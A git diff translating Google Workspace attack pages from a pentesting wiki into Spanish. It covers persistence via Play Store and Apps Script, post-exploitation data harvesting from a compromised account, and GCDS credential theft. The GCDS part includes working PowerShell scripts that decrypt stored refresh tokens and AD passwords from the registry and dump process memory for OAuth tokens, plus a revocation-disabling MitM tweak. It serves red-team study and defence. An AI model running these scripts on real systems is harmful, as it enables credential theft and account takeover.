## Persistencia a través de la aplicación de Android
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
Si tienes una **sesión dentro de la cuenta de Google de la víctima**, puedes navegar a la **Play Store** y podrías ser capaz de **instalar malware** que ya has subido a la tienda directamente **en el teléfono** para mantener la persistencia y acceder al teléfono de la víctima.
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
## **Persistencia a través de** Scripts de Aplicaciones
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
Puedes crear **disparadores basados en tiempo** en Scripts de Aplicaciones, así que si el Script de Aplicación es aceptado por el usuario, se **activará** incluso **sin que el usuario acceda a él**. Para más información sobre cómo hacer esto, consulta:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago un Red Team en GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# GWS - Post Exploitation
|
||||
# GWS - Post Explotación
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Google Groups Privesc
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
Por defecto en workspace un **grupo** puede ser **accedido libremente** por cualquier miembro de la organización.\
|
||||
Workspace también permite **otorgar permisos a grupos** (incluso permisos de GCP), así que si los grupos pueden ser unidos y tienen permisos adicionales, un atacante puede **abusar de ese camino para escalar privilegios**.
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
Potencialmente necesitas acceso a la consola para unirte a grupos que permiten ser unidos por cualquier persona en la org. Revisa la información de los grupos en [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
### Acceso a la información de Grupos de Mail
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
Si lograste **comprometer una sesión de usuario de google**, desde [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) puedes ver el historial de correos enviados a los grupos de correo de los que el usuario es miembro, y podrías encontrar **credenciales** u otros **datos sensibles**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
|
||||
@@ -19,60 +19,56 @@ If you managed to **compromise a google user session**, from [**https://groups.g
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
## Takeout - Descargar Todo lo que Google Sabe sobre una cuenta
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
Si tienes una **sesión dentro de la cuenta de google de la víctima** puedes descargar todo lo que Google guarda sobre esa cuenta desde [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
## Vault - Descargar todos los datos de Workspace de los usuarios
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
Si una organización tiene **Google Vault habilitado**, podrías acceder a [**https://vault.google.com**](https://vault.google.com/u/1/) y **descargar** toda la **información**.
|
||||
|
||||
## Contacts download
|
||||
## Descarga de Contactos
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
|
||||
Desde [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) puedes descargar todos los **contactos** del usuario.
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
En [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) puedes buscar **a través de todo el contenido de Workspace** (correo, drive, sitios...) al que un usuario tiene acceso. Ideal para **encontrar rápidamente información sensible**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
En [**https://mail.google.com/chat**](https://mail.google.com/chat) puedes acceder a un **Chat** de Google, y podrías encontrar información sensible en las conversaciones (si las hay).
|
||||
|
||||
## Google Drive Mining
|
||||
## Minería de Google Drive
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
Al **compartir** un documento puedes **especificar** las **personas** que pueden acceder a él una por una, **compartirlo** con toda tu **empresa** (**o** con algunos **grupos** específicos) generando un enlace.
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
Al compartir un documento, en la configuración avanzada también puedes **permitir que las personas busquen** este archivo (por **defecto** esto está **deshabilitado**). Sin embargo, es importante notar que una vez que los usuarios ven un documento, es buscable por ellos.
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
Por simplicidad, la mayoría de las personas generarán y compartirán un enlace en lugar de agregar a las personas que pueden acceder al documento una por una.
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
Algunas formas propuestas para encontrar todos los documentos:
|
||||
|
||||
- Search in internal chat, forums...
|
||||
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- Buscar en chat interno, foros...
|
||||
- **Spider** documentos **conocidos** buscando **referencias** a otros documentos. Puedes hacer esto dentro de un App Script con [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
En [**https://keep.google.com/**](https://keep.google.com) puedes acceder a las notas del usuario, **información** **sensible** podría estar guardada aquí.
|
||||
|
||||
### Modify App Scripts
|
||||
### Modificar App Scripts
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
En [**https://script.google.com/**](https://script.google.com/) puedes encontrar los APP Scripts del usuario.
|
||||
|
||||
## **Administrate Workspace**
|
||||
## **Administrar Workspace**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
En [**https://admin.google.com**/](https://admin.google.com), podrías ser capaz de modificar la configuración de Workspace de toda la organización si tienes suficientes permisos.
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
También puedes encontrar correos buscando a través de todas las facturas del usuario en [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,62 +1,58 @@
|
||||
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
|
||||
# GWS - Ataques de Sincronización de Workspace (GCPW, GCDS, GPS, Sincronización de Directorios con AD y EntraID)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
## GCPW - Proveedor de Credenciales de Google para Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
Este es el inicio de sesión único que Google Workspaces proporciona para que los usuarios puedan iniciar sesión en sus PC con Windows usando **sus credenciales de Workspace**. Además, esto almacenará **tokens** para acceder a Google Workspace en algunos lugares de la PC: Disco, memoria y el registro... incluso es posible obtener la **contraseña en texto claro**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
> Tenga en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCPW**, obtener información sobre la configuración y **incluso tokens**.
|
||||
|
||||
Find more information about this in:
|
||||
Encuentre más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
{{#endref}}
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
## GCSD - Sincronización de Directorios de Google Cloud
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Esta es una herramienta que se puede usar para **sincronizar sus usuarios y grupos de Active Directory con su Workspace** (y no al revés en el momento de escribir esto).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
Es interesante porque es una herramienta que requerirá las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que estaría sincronizando usuarios de vez en cuando.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Tenga en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCDS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
|
||||
|
||||
Find more information about this in:
|
||||
Encuentre más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
## GPS - Google Password Sync
|
||||
## GPS - Sincronización de Contraseñas de Google
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Este es el binario y servicio que Google ofrece para **mantener sincronizadas las contraseñas de los usuarios entre el AD** y Workspace. Cada vez que un usuario cambia su contraseña en el AD, se establece en Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Se instala en `C:\Program Files\Google\Password Sync` donde puede encontrar el binario `PasswordSync.exe` para configurarlo y `password_sync_service.exe` (el servicio que seguirá ejecutándose).
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Tenga en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GPS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
|
||||
|
||||
Find more information about this in:
|
||||
Encuentre más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
{{#endref}}
|
||||
|
||||
## Admin Directory Sync
|
||||
## Sincronización de Directorios de Administrador
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
La principal diferencia entre esta forma de sincronizar usuarios con GCDS es que GCDS se realiza manualmente con algunos binarios que necesita descargar y ejecutar, mientras que **la Sincronización de Directorios de Administrador es sin servidor** gestionada por Google en [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Find more information about this in:
|
||||
Encuentre más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Esta es una herramienta que se puede usar para **sincronizar tus usuarios y grupos de Active Directory con tu Workspace** (y no al revés en el momento de escribir esto).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
Es interesante porque es una herramienta que requerirá las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que estaría sincronizando usuarios de vez en cuando.
|
||||
|
||||
> [!NOTE]
|
||||
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Para realizar un **MitM** al binario **`config-manager.exe`** solo agrega la siguiente línea en el archivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Ten en cuenta que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) es capaz de detectar **GCDS**, obtener información sobre la configuración y **incluso las contraseñas y credenciales encriptadas**.
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
También ten en cuenta que GCDS no sincronizará contraseñas de AD a Workspace. Si acaso, solo generará contraseñas aleatorias para los nuevos usuarios creados en Workspace, como puedes ver en la siguiente imagen:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
### GCDS - Tokens de Disco y Credenciales de AD
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
El binario `config-manager.exe` (el binario principal de GCDS con GUI) almacenará las credenciales de Active Directory configuradas, el token de actualización y el acceso por defecto en un **archivo xml** en la carpeta **`C:\Program Files\Google Cloud Directory Sync`** en un archivo llamado **`Untitled-1.xml`** por defecto. Aunque también podría guardarse en los `Documentos` del usuario o en **cualquier otra carpeta**.
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
Además, el registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro de la clave **`open.recent`** contiene las rutas a todos los archivos de configuración abiertos recientemente (xmls). Así que es posible **verificarlo para encontrarlos**.
|
||||
|
||||
La información más interesante dentro del archivo sería:
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
Nota cómo el **refresh** **token** y la **contraseña** del usuario están **encriptados** usando **AES CBC** con una clave y un IV generados aleatoriamente almacenados en **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (donde sea que la biblioteca Java **`prefs`** almacene las preferencias) en las claves de cadena **`/Encryption/Policy/V2.iv`** y **`/Encryption/Policy/V2.key`** almacenadas en base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
<summary>Script de Powershell para desencriptar el refresh token y la contraseña</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
> Tenga en cuenta que es posible verificar esta información revisando el código java de **`DirSync.jar`** en **`C:\Program Files\Google Cloud Directory Sync`** buscando la cadena `exportkeys` (ya que ese es el parámetro cli que el binario `upgrade-config.exe` espera para volcar las claves).
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
En lugar de usar el script de powershell, también es posible usar el binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con el parámetro `-exportKeys` y obtener la **Key** y **IV** del registro en hex y luego simplemente usar algún cyberchef con AES/CBC y esa clave e IV para descifrar la información.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
### GCDS - Volcando tokens de la memoria
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Al igual que con GCPW, es posible volcar la memoria del proceso del `config-manager.exe` (es el nombre del binario principal de GCDS con GUI) y podrás encontrar tokens de actualización y de acceso (si ya han sido generados).\
|
||||
Supongo que también podrías encontrar las credenciales configuradas de AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
<summary>Volcar procesos config-manager.exe y buscar tokens</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GCDS - Generando tokens de acceso a partir de tokens de actualización
|
||||
|
||||
